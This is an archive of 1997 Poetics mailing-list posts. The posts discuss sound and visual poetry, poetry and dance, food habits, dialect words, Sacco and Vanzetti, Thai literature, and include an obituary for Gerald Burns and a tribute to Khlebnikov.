To wit, i'm enjoying the new amalgamated messages necessitated by the list post limit.That mother Bernstein, doing the business again.

love and love
cris

↑ Index

865. Lawrence Upton

Re: What came before?a Martian poetics 1916/Performance Poetry

Fri 25 Jul 1997

---

robert drake wrote: <<i was thingking abt th recent discuss of Paul Dutton's sound/performance poetry distinctions, thot to go back to _Sound Poetry: A Catalogue_ (ed. by mccaffery/nichol) & see what dutton was saying then, and low & beholden, INSTEAD found another martian ref, our own Lwrence Upton's graphic "from Poems in Polar Martian", which very much reminds me ov an anglosax riddle...>>

ASIDE _thingking_ is interesting - END OF ASIDE

i nearly mentioned this you know - but it didnt really seem relevant then - yes I did a whole booklet of polar martian from wch bp and Steve took that bit - I was going to do poems from each linguistic region of Mars but ... didnt. Not long ago I came upon a huge file of texts given me by my friend the scholar _____ sorry, I don't know how to send MSCII characters, before he went back - I looked at it and couldnt quite see my way to finishing the project... one booklet was enough and probably the one outake

<<one ov the things most interesting to me about that Catalogue, btw, is the extent to which sound poetry is represented by scores that are more visual poetry than most vispo i see lately...>>

my experience too - now is this paucity of experience or a general change?

could i ask for responses from or info on anyone working in *that* area i.e. _sound poetry...represented by scores that are ... visual poetry_ - I have taken out the _more_ there because this request is aside from the question above

this request is to do with research / cogitation I am working on both solo and with others... I would like information in the hope I shall be thinking / speaking from a position of knowledge - wanting to know about fellow practitioners

backchannel on this by all means

snailmail 32 Downside Rd Sutton SM2 5HP UK

<<i'm sympathetic to th impulse to try to distinguish among directions>>

yes, we have to, but not to render them as categories

Lwrence

Cris says
<<In other words that such things can be discussed in terms of their vocal stylings but become more bothersome when
the linguistic content (we could go on gnawing over that one all night) is offered without all of the contextualising sound.>>

we may have to gnaw it and then boil it some for much longer than that before we're done. It isnt just a matter of style or content or context - there is also - are questions relating to authorship, intent etc etc relating to works made partially or wholely in performance *and* by more than one person

<<Voice / orality / spoken rhetorics have far more to offer integrated and interdisciplinary poetics practices than such an advocacy, if that is what is somehow surfacing, permits. It seems far too easy to consign 'that' to 'there' as not a part of. To say that's all slam poetry, that's stand-up (Jeff Derkson can be hilarious and so on) or comedy poetry or whatever - without looking at what can be learned and re-applied in other contexts to other purposes.>>

indeed indeed - we shall need working categories of some kind - i was going to say that they are only like scaffolding but that's not a good comparison.... more like dissolving stitches perhaps... here i am still willing to use _visual poetry_ and _sound poetry_ - terms I grew up with... but they are less and less useful. One cld say they dont write tunes like that any more but in fact as Cris says it is _Time to re-appraise, re-contextualise - move on_

aside - when he and i and others went to Germany in the 70s i remember we were _lout poets_ for a while

it always was time to move on but this is not a declaration of faith in artistic progress - more artistic nomadism

---

<<Then there were the hot dogs served between 1975 and 1985 in Warsaw, when communism had destroyed the economy and little food was available. If

memory serves me right, these consisted of mushrooms and cheese on a bun.>>

I was there for some time in 73 and it was like that except mushrooms and cheese were off and the buns were hard to find. But *pleeeeease* it wasnt communism destroyed the economy. They never did communism in *any* sense. It was tyranny with newspeak. And when the self-named communists took over EVERYTHING was destroyed already not just the economy... but the pre-war set up wasnt exactly human-friendly as i read it

L

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866. **Maria Damon**

Re: is "doo wop" an ethnic slur?

Fri 25 Jul 1997

At 1:32 PM -0700 7/25/97, Aldon L. Nielsen wrote:
>I'm just the opposite of David Bromige in this regard. I can't look at
>food without thinking of words. When I made love to Heddy Lamar, I kept
>thinking of that book.
>
>and every time I saw a virtual space with a real corn dog in it, I thought
>"shit on a stick" --
>
>----
>I was going to post my poem "fifty things about Gennifer" here, but I kep
>getting messages that the poetics list had exceeded its capacity for the
>day
>
>------
>One man's prozeugma is another woman's execratio. -- that's what I always
>say --

aldon
yr the greatest
for making me
laugh aloud
now that rachel'
s in semi-
retirement

↑ Index

867. **Maria Damon**
Re: American food
Fri 25 Jul 1997

no theories but yearning for many of the weird things you describe. when i was young my mother would serve cold tongue as a matter of course for weekend lunches, until our little friends started coming over and having strong reactions of revulsion. we used to get cheese airmailed by her danish-farmer father so strong that she'd get calls from the post office, Mrs Damon, we think someone has mailed you a dead animal, please come get it out of here right away.

At 1:44 PM -0700 7/25/97, Mark Weiss wrote:
>While we're on the subject, I've always been curious about the yuck factor
>in American eating habits--the voluntary restriction of dietary choices.
>Even in cultures with strict food taboos the range of what's considered
>edible is usually fairly wide: traditional Jews, for instance, keep kosher,
>but they eat intestines, tongue and liver. English, Germans, Italians,
>French, Chinese, eat almost anything, regardless of the social class of the
>eater. Americans, on the other hand, reduce their range as they get further
>from their ethnic origins. Here's a short list of the often-considered
>yucky: any innards, octopus, squid, eel, lamb or goat (at least in Anglo
>Southern California--there are Greek restaurants here that don't serve
>lamb), mutton, all game, duck, oysters and clams (particularly raw), all
>other seafood except lobsters and shrimps. Veggies fair somewhat better,
>altho okra commonly provokes a gag reaction. Actually, vegetables are more
>tolerated for their healthfulness than loved--witness Bush's PR-
>manufactured aversion to broccoli, which was supposed to make him seem
>childlike and appealing, a regular guy or something.
>The consequence--limited production of many of the offending comestibles
and
>a food industry that caters to food paranoia--hence the listing of
>ingredients on restaurant menus and the proliferation of clone franchises
>that protect one from the gustatory surprises of travel. Even cheeses are
>affected by the general narrowing of taste--in the coutries of origins
>hundreds of cheeses are produced. Here it's mostly cheddars and
>near-relatives and one or two soft cheeses and unripe goat cheese among the
>well-travelled: selection for blandness, as in the distaste for gamey meats.
>I don't think that this progressive limiting of taste is a product of
>agribusiness, altho it certainly makes its job easier--in industrialized
>countries where the yuck factor doesn't exist or is less extreme demand has
>successfully thwarted suppliers' homogenizing tendency.
>Perhaps an anthro list would be more appropriate for this one. Any theories?

↑ Index

868. **Maria Damon**
Re: dog days
Fri 25 Jul 1997

At 3:45 PM -0700 7/25/97, Mark Weiss wrote:
...
>
>3. This one's just because I want to tell the story. It speaks to a social
>dimension of the yuck factor. My then inlaws-to-be, trying to be nice,
>acceded to my requests for regional food by taking me to a wonderful
>black-run soulfood restaurant (I forget the name, but it's apparently
>well-known) in Chapel Hill (we were visiting relatives in Durham, which is
>close by).
>>

it's Dip's, or something like that. i was taken there when i was trying to decide between UMN and Duke. yes, i'm a masochist. yes, the food was great. yes, there's nowhere to eat in the twin cities.

↑ Index

869. **Rachel Loden**
Re: Mike Gold/katherine anne porter
Fri 25 Jul 1997

Hugh Steinberg wrote:

> *My hunch is that they were picketing over the Sacco-Vanzetti case*

That's correct. The Porter piece is "The Never-Ending Wrong," from the June 1977 issue of _The Atlantic_

Available on the web at:

http://www.theatlantic.com/unbound/flashbks/oj/porterf.htm

Rachel Loden

↑ Index

870. **George Bowering**
Re: Mike Gold/katherine anne porter
Fri 25 Jul 1997

> *See Rexroth poem re: the execution. Sorry, my books are unavailable. The executions are one of the key events in US leftist history/myth.*

When I was in my late teens, early twenties, and gobbling up all the US literature I could, the Sacco-Vanzetti case was one of the things I ran into most often, as in James T. Farrell, and Dos Passos, etc.

George Bowering.

,

2499 West 37th Ave.,
Vancouver, B.C.,
Canada V6M 1P4

fax: [redacted]

↑ Index

871. **Alan J Sondheim**

Advertisement, Virtual Love (fwd)

Fri 25 Jul 1997

--

Advertisement

pay me five dollars and when i come,
i'll cry out your name
pay me five dollars, and, coming,
i'll cry your name out, in the empty room

pay me seven and i'll caress my naked breasts,
whispering, I love you, and for eight,
i love you <name>

your name my love, your name, and for nine,
your name my love, your name, and for nine

pay me ten and i'll grasp air, calling you softly
i will wrap my arms around the empty air
and i will grasp the empty air

for fifteen you'll be in all my dreams, and for twenty
i'll promise anything, tossing and turning
in the bed alone, tossing and turning in that empty bed

and for twenty, you will have me, you will have my name,
for twenty, you will have my name

and for thirty, when you come, i will write @hold you,
@hold you in my arms

you need not fear escalating prices, i promise you,
they remain the same for all time, and as for forty,

you dream of naked me,
you dream of naked me

and now there are no higher prices, this empty air expands
and covering your body, and penetrating you,
in my dreams, and forever you will have your name
upon my lips
you will have your name, upon my lips,
forever

↑ Index

872. **David R. Israel**

Re: russian river writers / Yvonne Rainer . . .

Fri 25 Jul 1997

Layne Russell remarked --

> *[This reminds me that at my reading Friday night the 25th at the Sebastopol Center for the Arts I will be reading a poem called "blood" and also a poem of a dance performance I did years ago with Yvonne Rainer (dance lovers will know who she is!).]*

film-lovers may also know who she is -- at least if lucky enough to have seen some of her admirable work in cinema -- a phase which, as I understand it, basically followed on the heels of her (long-since past) days of dance/choreography. I think I only saw one such film, (including Valda Sutterfield among the cast (and wish such things were to be seen more readily elsewhere than such film meccas as Anthology Film Archive in NYC . . .)

also to note, David Bromige equivocates --

> *On another matter, I am not so much "witty and charming" as indifferent and bewildered, by turns. . . .*

it seems quite possible that the most witty & charming may well be those who find themselves to be . . . (mightn't it?) . . . .

> *I advance these disclaimer because I shall be traveling back east this fall, & want to avoid disappointing people looking for noel coward. I'm a grumpy old fart, but you can still be my friend.*
> *David B*

(don't the well-bred say "Q.E.D." or some such, at this point?)

d.i.

.
.....
.....

```
\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\/////\\\\\
  >   david   raphael   israel   <
  >>     washington  d.c.     <<
| ▇▇▇▇▇▇▇     (home)
| ▇▇▇▇▇▇▇     (office)
==========================
|  thy centuries follow each other
|  perfecting a small wild flower
|                                (Tagore)
//////////////////////////////////////////\\\\\/////
```

↑ Index

873. David R. Israel
wapperjar and bumfuzzled
Sat 26 Jul 1997

[was:, Re: dog days]

Mark Weiss asks & says [which seems vaguely
related to "anglo-saxon"] --

> *. . . . . What is the boundary
> between social dialect/nonstandard material and slang, and is it
> guarded by permanent gun emplacements? For instance, my wife's
> family, from Charleston SC (deebutante class) and Asheville NC
> (educated ministerial hillbillys become professionals), use words
> like wapperjar and bumfuzzled. Which are these?*

of equal (or poss. even more immediate) interest: *what* are these?

never seen hide nor hair of a wapperjar --

have prob. heard bumfuzzled once or twice,
but would be hardpressed to lend it definition --

little help?

Wondering in Washington [d.i.]

↑ Index

874. shemurph
Sad News - Gerald Burns
Sat 26 Jul 1997

A couple of hours ago, I received a telephone call from Scott Duddridge in Portland, Oregon. Scott let me know that Gerald Burns had passed away in his sleep while at his parents' home in St. Clair Shores, Michigan. Gerald was

staying with his parents to help care for his mother, who had suffered a stroke. Gerald's plan was to be there for approximately a couple of months, assisting his mother in gaining back some of her functioning, and helping his father handle the difficult situation. It seems to me that Gerald had been in Michigan for about a month when this occurred a couple of days ago. As many of you may know, Gerald had for the past couple of years made Portland his home.

Scott Duddridge is planning to assemble reminiscences from people who were friends of Gerald. Anyone wishing to participate may contact me through e-mail at [redacted], and I will share contact information for Scott. For those who may want to write to Gerald's family, I can direct you on that, as well.

The shock of this is great. Suffice it to say that those of us who loved Gerald will miss him greatly. His contribution as a writer, critic, teacher, and friend was exceptional. You may remember Robert Creeley's having selected Gerald's book SHORTER POEMS for the National Poetry Series book selection that appeared from Dalkey Archive Press in 1993. In Creeley's words,

"These extraordinary poems are testament to their author's passionate commitment to all that has entered his mind and heart. He is our great master of detail, of why it is and how it is that the things of our lives constitute a primary index of place. I love the pleasures he so invites, the wit of his insistent response."

Gerald was born in Detroit in 1940, was educated at Harvard and Trinity College (Dublin). He taught at Southern Methodist University and New York University, and in 1985 was awarded an NEW Creative Writing Fellowship for poetry. His volume of verse theory, A THING ABOUT LANGUAGE, was published by Southern Illinois University Press in 1989.

These were among the things Gerald was proud of having done.

Sometimes we come to believe it is our right to have someone with us forever. In fact, each moment of time we have is a privilege. Gerald's life and his infinite generosity of spirit will continue to give those of us who loved him courage.

↑ Index

875. **Mark Weiss**

Re: wapperjar and bumfuzzled

Sat 26 Jul 1997

Aren't these great?

wapperjar--askew. "Straighten that picture, it's wapperjar."

bumfuzzled--confused.

I literally never know what's going to come out of my wife's mouth.

At 12:45 AM 7/26/97 -0400, you wrote:
>[was:, Re: dog days]
>
>Mark Weiss asks & says [which seems vaguely
>related to "anglo-saxon"] --
>
>> . . . . . What is the boundary
>> between social dialect/nonstandard material and slang, and is it
>> guarded by permanent gun emplacements? For instance, my wife's
>> family, from Charleston SC (deebutante class) and Asheville NC
>> (educated ministerial hillbillys become professionals), use words
>> like wapperjar and bumfuzzled. Which are these?
>
>of equal (or poss. even more immediate) interest: *what* are these?
>
>never seen hide nor hair of a wapperjar --
>
>have prob. heard bumfuzzled once or twice,
>but would be hardpressed to lend it definition --
>
>little help?
>
>Wondering in Washington [d.i.]
>
>

↑ Index

876. Rebecca Weldon
Re: Thai influences
Sat 26 Jul 1997

Sorry for the mix-up, Alan, and, as to why this took so long, I've been way up in northern Laos on the China border.

> *Did you not want to send this to the Poetics list? And if you do, could you perhaps talk about the first three writers, who I am unfamiliar with?*
>
> *Alan*

On Tue, 15 Jul 1997, Rebecca Weldon wrote:

> *Rong Wongsawan, Sila Komchai, Sunthorn Plu, Mehta, Mishima, Eco, Fuentes, Okri and the writers of southeast asian epics who gave their names in private offering to their gods.*

Rong Wongsawan is perhaps the master of the Thai satirical novel and has not, to my knowlege, been translated into English. His career has brought him fame, but perhaps because of his highly creative use of language, not a very wide readership. One of a generation educated outside the country, he returned to become an important and much beloved social critic (perhaps because he was of the hedonistic rather than the ascetic variety). He was named National Artist last year and those of us who know him were relieved that he would at least receive 8,000 Baht (approx $300) per month from the government from the rest of his days. Until this time, his main income was from the mass-distributed newspaper Daily News, for which he writes a regular column under increasingly difficult circumstances since his health is failing.

Sila Komchai's novel "the path of the tiger" has been recently translated into English. He is best known, though, for his short stories, having won the SEA Write award in 1993 for his second collection. He was among the thousands of the best and the brightest of young Thai who were forced into the jungles following the 1976 massacre. Nature is an important metaphor for his socio-political observations.

Sunthorn Plu composed in verse,over 200 years ago. His favorite form was "klone paet" (eight lined klone), double quatrains with both internal and final, linking rhymes, to which he added a rhyming innovation of his own. His many works include epic tales, plays and "nirat" or jouney poems(a form much honored by Thai poets, even today, a personal interpretation of a voyage). His work illustrates how tonal languages expand plays on words and make for a particularly rich poetic expression. The following quatrain (khlong form):

Khao khiao khote khoum khuen khieng khieng
Rom ruen rouk rang rieng riep roy
Hom hak hing hai hieng hua haad haing he
Yaang yai yode yuen yoy yoke yo yone yen

may be translated thus:

Emerald facades twist merge forever
Perfect, coolly clothed dark green forest
Nude trunks and broken branches the riverbed
Huge trees shoot the sky swaying canopy

although the translation cannot even approximate the original, since each word has both rhyming and tonal values, the equivalents of which do not exist in English.

Of course, Thai literature is as rich as any other, I simply happen to admire these three more than others.

Rebecca

↑ Index

877. Joe Amato/Kass Fleisher
address query...
Sat 26 Jul 1997

all: i'm trying to reach johanna drucker... if anyone out there has her email address (which i've misplaced, again), i'd be grateful if you could forward to me backchannel...

many thanx!...

best,

joe

↑ Index

878. rsillima
Doggie Diner, Curtis Faville
Sat 26 Jul 1997

Doggie Diner, with its trademark (literally) 20 foot tall smiling dachsund head in a chef's hat, was a regional fast food chain with HQ in Oakland during the 1950s and '60s (maybe even the '40s, a period I partook of only partly and then only in a preliterate fashion, so I lack notes). I'll wager that the one Charles is recalling was the one at the southwest corner of Mission & Army streets in SF, immediately next to what was then Sears and was, last time I needed it, the Employment Development Department (with some pretty generic loft space upstairs). Doggie Diner's specialty was the foot long hot dog, though as I recall any resemblance between that processed thing and meat was too abstract for me to make the connection. My favorite high school teacher, Charles C. Clarke, aka Chico Charlie to us at Albany High, used to deliver supplies from the central DD warehouse to the 10-20 doggies.

We call pups in a blanket "pigs in a blanket" in our house.

Curtis Faville, last I heard (a couple of years back) was still living in Kensington and still working at Social Security in SF (right next to UN Plaza, known locally as Urine Plaza). His son Randy was living out near SF State. Curtis "gave up" poetry with a vengeance. He studied architecture for awhile (which led to his last book, Wittgenstein's Door, which Lyn published as Tuumba 29) and spent some time in Japan thanks to a job that his wife got with one of the armed services. While there, he got into photography. But other than those ventures, he's been at Social Security for 20+ years. Stanzas for an Evening Out remains one of the great books of the 1970s, up there with Bending the Bow, Sentences, Space and a precious few others. I don't think I ever met anyone who'd known

Curtis who didn't learn something useful about writing from him, but he will let you know that he doesn't want to discuss it, Period (capital P), the instant you bring it up.

All the years I knew Curtis, I don't think we ever ate at Doggie Diner together. Last meal we had was a breakfast at Mama Royal's Cafe on San Pablo in Albany.

Ron

Ron Silliman
262 Orchard Road
Paoli, PA 19301-1116
[redacted]
[redacted] (o)
[redacted] (fax)
[redacted]
[redacted]
http://writing.upenn.edu/epc/authors/silliman/

↑ Index

879. **Aldon L. Nielsen**
Re: dog days
Sat 26 Jul 1997

other terms for chitterlings: "wrinkled steak"

anybody know others?

↑ Index

880. **Aldon L. Nielsen**
Re: Sad News - Gerald Burns
Sat 26 Jul 1997

I never got to meet Gerald Burns, but I got to know him well through a constant stream of mail from him, an experience many others will recognize. When I started _lower limit speech_, I got a few poems from him. Wrote back to tell him this was just the sort of response I had hoped for -- I'd read Gerald's small pamphlets years ago and found his work a refreshing departure from nearly everything else I was reading at the time -- Gerlad also sent me a number of whimsical drawings (has anyone ever collected his drawings for publication) --

There is a delightful interview with Gerald recorded for a Portland (I think it was) radio program -- I hope they will air it again in remembrance --

Has anyone mentioned that he used to work in the circus?

↑ Index

881. **shemurph**
Re: Sad News - Gerald Burns
Sat 26 Jul 1997

I neglected to sign the notice regarding Gerald Burns, for those who wish to contact me. That's

Sheila Murphy
[redacted]

↑ Index

882. **shemurph**
Re: Gerald Burns - Drawings
Sat 26 Jul 1997

In a message dated 97-07-26 11:39:42 EDT, A.L. Nielsen writes:

<< a number of whimsical drawings (has anyone
ever collected his drawings for publication) --

To my knowledge, the drawings have not been collected, but they should be. They were included in some Lucky Heart Publications (Jim Haining, now in Waco, TX). And of course in magazines and newspapers, not to mention letters. I have a number of them, also, that emerged ad hoc and were shared, as do others, I am sure.

Sheila Murphy

↑ Index

883. **Joe Amato/Kass Fleisher**
address query...
Sat 26 Jul 1997

---

thanx to poetix listmembers for backchanneling johanna's address!...

best,

joe

↑ Index

884. **charles alexander**
Re: address query...
Sat 26 Jul 1997

Joe -- I've got one, but it's her Yale address, and it's at my studio, so I can't get it to you right now. But I heard she is moving or has moved, to SUNY/Purchase, for this next year? If that's true, then it's possible that my address is no good anymore. Still, I'll send it to you when I retrieve it. Let me know if you get an updated one, please.

thanks,

charles

At 08:47 AM 7/26/97 -0500, you wrote:
>all: i'm trying to reach johanna drucker... if anyone out there has her
>email address (which i've misplaced, again), i'd be grateful if you could
>forward to me backchannel...
>
>many thanx!...
>
>best,
>
>joe
>
>

↑ Index

885. **charles alexander**
Re: Doggie Diner, Curtis Faville
Sat 26 Jul 1997

At 08:56 AM 7/26/97 -0500, you wrote:
>Doggie Diner, with its trademark (literally) 20 foot tall smiling dachsund
>head in a chef's hat, was a regional fast food chain with HQ in Oakland
>during the 1950s and '60s (maybe even the '40s, a period I partook of only
>partly and then only in a preliterate fashion, so I lack notes). I'll wager
>that the one Charles is recalling was the one at the southwest corner of
>Mission & Army streets in SF, immediately next to what was then Sears and

yes, that's the one.

charles

↑ Index

886. Judy Roitman
Re: Mike Gold/katherine anne porter
Sat 26 Jul 1997

> *See Rexroth poem re: the execution. Sorry, my books are unavailable. The executions are one of the key events in US leftist history/myth.*

My God I'm getting old. To think that people need to be reminded about Sacco-Vanzetti...

My kid has this friend who calls himself an anarchist. Says I archly, "ever hear of Emma Goldman?"

---------- Judy Roitman
| "Whoppers Whoppers Whoppers! Math, University of Kansas | memory fails Lawrence, KS 66045 | these are the days." [redacted]
| Larry Eigner, 1927-1996

↑ Index

887. Steve Carll
Antenym 13 / Readings in Golden Gate Park
Sat 26 Jul 1997

(Apologies to anyone who receives this message more than once)

announcing the August publication (and new mailing address!) of
Antenym 13
Sun in Leo, Moon in Cancer 1997

featuring work by: Joseph Aukee (San Francisco), Edmund Berrigan (San Francisco), Jonathan Brannen (Morris, MN), Mary Burger (San Francisco), Avery E.D. Burns and Eric Selland (S.F.), Steve Carll (San Francisco), Stephen Collis (Vancouver, B.C.), Mark DuCharme (Boulder), Norman Fischer (Sausalito, CA), Greg Evason (Owen Sound, Ontario), David Golumbia (New York City), Bob Heman (Brooklyn), Brenda Iijima (Brooklyn), Thoreau Lovell (San Francisco), John Lowther (Decatur, GA), William Marsh (San Diego), John Olson (Seattle), Mark Owens (Fairborn, OH), Douglas Powell (San Francisco), Pat Pritchett (Boulder), Lisa Samuels (Charlottesville, VA), Jono Schneider (Albany, CA), Peter Valente (Cliffside Park, NJ), and Nico Vassilakis (Seattle).

PART ONE OF A TWO-PART SERIES ON THE THEME: ONTOLOGICAL ACTIVISM

and a 3-part reading miniseries, Saturday afternoons at 1:00 in Golden Gate Park, San Francisco:

August 9th: Edmund Berrigan, Dan Featherston (from Tucson), Jono Schneider August 16th: Joseph Aukee, Mary Burger, Thoreau Lovell August 23rd: Avery E.D. Burns, Joseph Noble (from Stony Brook, NY), Eric Sell- and

1. Enter Strybing Arboretum at Main Entrance gate, near County Fair Building on MLK Jr. Way near 9th Ave. and Lincoln Ave.
2. Follow a path heading west (straight through gate), but bearing south (left) as close to Lincoln Ave. as possible.
3. Bear right (north) past nursery buildings until you get to the Redwood Trail.
4. Find Redwood Trail Markers #17 and #18. Nearby is a tree-ringed clearing with benches and a tree-stump podium. Reading is here.

CALL [redacted] FOR MORE DETAILS.
A $2.00 DONATION WILL BE REQUESTED.

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Bathysphere Press
"It's Deep!"

****

[redacted] Steve Carll
http://writing.upenn.edu/epc/mags/antenym
http://writing.upenn.edu/epc/ezines/antenym

In seed-
sense
the sea stars you out, innermost, forever.

--Paul Celan
****

↑ Index

888. **Layne Russell**
Re: russian river writers / Yvonne Rainer . . .
Sun 27 Jul 1997

David R. Israel wrote:
>
> Layne Russell remarked --
>
> > [This reminds me that at my reading Friday night the 25th at the
> > Sebastopol Center for the Arts I will be reading a poem called
> > "blood" and also a poem of a dance performance I did years ago with
> > Yvonne Rainer (dance lovers will know who she is!).]
>
> film-lovers may also know who she is -- at least if lucky enough to
> have seen some of her admirable work in cinema -- a phase which, as I
> understand it, basically followed on the heels of her (long-since
> past) days of dance/choreography. I think I only saw one such film,
> (including Valda Sutterfield among the cast (and wish such things
> were to be seen more readily elsewhere than such film meccas as
> Anthology Film Archive in NYC . . .)

thanks for the info on Yvonne. I hadn't heard of her film involvement. how could I find her films?

perhaps I'll post the poem "Wreck Beach Performance" on the site. she was wonderful to work with, be with, dance with. also her partner at the time, Barbara (Lloyd) Dilly, who is director of the dance department at Naropa Insitute...Barbara has been there since the first Naropa summer of '74.

talk about the merging of poetry and dance....

Layne

http://www.sonic.net/layne
[redacted]

↑ Index

889. **cris cheek**
Re: Yvonne Rainer . . .
Mon 28 Jul 1997

Thanks Layne, Yvonne's work is surely overdue a major reappraisal

> *talk about the merging of poetry and dance....*

i hope you'll forgive me being a bit autobiographical, it might spark some bases for discussions - Working on a boundary between dance and poetry is

something i used to do more. To be brutally honest i found working in old tea warehouses and veneer factories with dancers preferable to propping up the bar with poets and musicians for quite a few years.

When 'jgjgjgjgjgjgjgj . . . (as long as you can say it that's our name) - a trio with Lawrence Upton and Clive Fencott - was performing 3 (sometimes more) voice writing, much along the lines of the Four Horsemen, we began, individually and or collectively i can't remember which, to lose interest in holding a 'score' (the page in the hand approach). That necessitated memorised materials and memory strategies, themselves particularising editorial performance tools. Of course gesture became more consious as part of the performance. I'm reminded of David Bromige's hilarious presentation on 'podium behaviour' at last year's Assembling Alternatives Conference in New Hampshire. How a poet presents themselves, how they stand, what they do with their hands, what is readable and revealed - Bourdieu's 'habitus'?

We did some work incorporating deliberate gesture, then drifted onto seperate paths. I'd got very interested in the interaction between vocalising and movement. In fact i always had been. One of my first things was a sonnet of invented signs, several of which repeated, which necessitated variations on vocal gesture and physical mark-making (drawing with the hand in space, body wriggle, constriction and release - simple stuff, related to writing).

I was in Baltimore, working with CoAccident throughout much of 1979/80, with Kirby Malone, Chris Mason, Marshall Reese, Nora Ligora, Patty Karl, Svexner Labs and Lisa Land. We did a lot of work that incorporated what i'd now refer to as physical theatre.

Back in London the prospect of supporting myself through my poetry seemed slim. I had however seen a couple of independent choreographers, from X6 Dance Collective, performing at the ICA - Fergus Early and Jacky Lansley. My line of interest jumped across from Judson. I got invoved with the emergence of what was called New Dance in the UK. 'Dance' was becoming porous to quotidian movement, sports and so on and i thought "i could do that". There was a lot of Contact Jamming happening (i danced with Nancy Stark-Smith, Mark Tompkins and Julyen Hamilton and so on). I auditioned for a company Jacky and Fergus were putting together. As i remember, it's one of only 2 auditions i've ever been to, i knew i had to have a piece. So i prepared something during which I improvised a talk and then threw 5 balls of different sizes and colors up into the air (like going to juggle which is a pet no-no - as my friend Sianed Jones says, when i see someone starting to juggle, i goes to sleep) opened my arms in a grand dramatic gesture and saying something like a bunch of non-sequitors let them all simply fall to the floor without making an effort to

catch any. I got the job and was in a dance company performing regularly and earning ok (for about the next year).

That experience brought me into contact with many choreographers for whom i was commissioned to write. They opted for a spoken text instead of music. These were some of the most satisfying performance experiences i can remember. Michael Clark, Mary Prestidge, Miranda Tufnell, Lisa Nelson, Kistie Simpson, Sue MacLennan and Patricia Bardi were all collaborators at this time. I'd always be 'on stage', always be working from memorised materials devised with the movement, frequently move myself at times.

A few years back i got together a bunch of younger choreographers and re-created Jackson MacLow's 'The Pronouns' with shinkansen on London's South Bank. That worked really well. Initially they looked at the writing and couldn't find ways into it. When however, they began to actually try to work out, in a space, how to DO them, everything rocked.

It's this DO thing that interests me. Basil Bunting declared that 'Poetry must be read aloud'. How many do that. And when they do, how aware are they of the subtle particularities of what Steve Paxton calls the small dance , taking place in their bodies?

Any thoughts? I'm keen to hear on this

love and love
cris

↑ Index

890. Daniel Bouchard
execution/myth and poetry
Mon 28 Jul 1997

I know a Rexroth poem titled (I think) "August 23, 1939" which is the anniversary date of the execution of Sacco and Vanzetti. It begins with a lengthy extract of a letter Sacco wrote to his son Dante while incarcerated. The poem has wonderful energy, I think, memorable lines ('if they line the cellars with cork it is not to still the pistol shots but to silence the last words of . . . ' -- an approximation, I don't have the book before me either, which doesn't make it less memorable). It's a poem about exile and execution, a long list, not confining itself to US history but Europe and Asia also.

As notorious as the Sacco/Vanzetti case was (is), I think it falls under the larger notoriety of the Haymarket "martyrs, in--what?, 1886? 1888? Indeed the context of the movements Sacco and Vanzetti were much active in retained a heavy grasp on the memory of 8 (8?) anarchists executed in Chicago. (Rexroth, in another longer poem--"The Dragon and the Unicorn," I think-- answers when some

young men ask him in Europe (in the late 40s), "Is THE GRAPES OF WRATH true?" "Most of it's true. In the book one man is killed, but really it was eight men." (Or something like that.)

Paul Avrich's book SACCO & VANZETTI: THE ANARCHIST BACKGROUND is a wonderfully informative book. His conclusion is that the cobbler and fish peddlar WERE innocent of killing the paymaster and guard, but of bomb-throwing activity they were not.

In fact, it's interesting to learn about how many bombs were thrown in the years following WWI especially since many seem to be going off recently. Of the group S & V were part of--disciples of an Italian anarchist who published a paper in the US and was deported after many years living in the country--can't remember his name-- the bombing attempt on Attorney General Mitchell Palmer's house in Washington DC is linked to it. The bomb went off on Palmer's front step. Some think the man carrying the bomb tripped going up the steps. Whatever happened, the authorities found his scalp on the Chief Justice's lawn and other parts of him on the house of then-Navy Sec'ty FDRoosevelt.

It takes so long to write posts like these, with the citations questionable but not the essence of the material and work piling up before me, etc. -- I think I lost my intended point. Read the Rexroth poem, it's quite good. And the Avrich book too, especially considering how often Sacco & Vanzetti appear in 20th literature.

[redacted]

See Rexroth poem re: the execution. Sorry, my books are unavailable. The executions are one of the key events in US leftist history/myth.

At 11:38 PM 7/24/97 -0600, you wrote:
>My hunch is that they were picketing over the Sacco-Vanzetti case (two
>anarchists railroaded over an alledged murder of a paymaster and his guard
>in 1920. They were armed when arrested, gave contraditory evidence, and
>feared deportation. They were found guilty in 1921, and executed in 1927.
>The most notorious political execution in this country prior to the
>Rosenbergs).

↑ Index

891. Jordan Davis
Re: deipno / diotima
Mon 28 Jul 1997

Things is going to infinity all around us and all you can say is hell is other people? Poems remain. I notice that a lot of my friends are what you might term celebrating (so some of them are pouring caustics down pipes while they do it). Is this a different world-historical phoneme from the one that preceded it, or are we in the middle of one big diphthong. (So that differing becomes necessary, the raison d' from whom we are all trying to get a table? -- in that making meaning takes on a macroscopic ((greil marcus --> brioschi)) meaning of its own .. to differ _and_ survive is the job. Differing the long range surviving the short range tho as the priest at st marks liked to say a group in survival mode is not an attractive group).

Echoes of bedraggled joy?
J

At 4:32 PM -0500 7/25/97, Pritchett,Pat @Silverplume wrote:
>Oh Jordan they must be about what they find missing in the poems of other
>people who write poems in which their own poems purport to find what is
>missing in all those poems in which the missing center of the poem occupies
>the margins. Now read on...

↑ Index

892. Bennett M. Sm [Dimpson
Re: Yvonne Rainer . . .
Mon 28 Jul 1997

For those interested, there is a longish and info-packed interview with Yvonne Rainer in the July "Art in America." Chronicles early dance, performance, shift to film, personal live, family history, zeitgeist particularities, politics, etc. Enjoyable, too. Interview by Thyrsa Goodeve.

wilted
not jilted,

Bennett

&c.&c.&c.&c.&c.&c.&c.&c.
&c.
Bennett Simpson &c.
[redacted] &c.
&c.
&c.&c.&c.&c.&c.&c.&c.&c.

↑ Index

893. Christina Fairbank Chirot
Re: Moment for Khlebnikov
Mon 28 Jul 1997

Today is 75th Anniversary of death of Khlebnikov.
A moment of respect & sound for him!
"The King of Time" . . .

Kogda umirayut koni--dyshat,
Kogda umirayut travy--sokhnut,
Kogda umirayut solntsa--oni gasnut,
Kogda umirayut lyudi--poyut pesni.

When horses are dying--they wheeze,
When grasses are dying--they wither,
When suns are dying--they wane,
When people are dying--they sing songs.

NEZHNYI YAZYK

Segodnya veshchi,
Nezhny i veshchi;
Nezhenki-bezhenki
V nebe plyvut.

SOFT TALK

All things today
Have all things to say;
Softly and swiftly
They swim through the sky.

(from Snake Train Ann Arbor: Ardis, 1976 pp. 35 & 44.
Edited by Gary Kern. Translations Kern, Richard Sheldon,
Edward J. Brown, Neil Cornwell, Lily Feiler.)

the world as we see it is passing
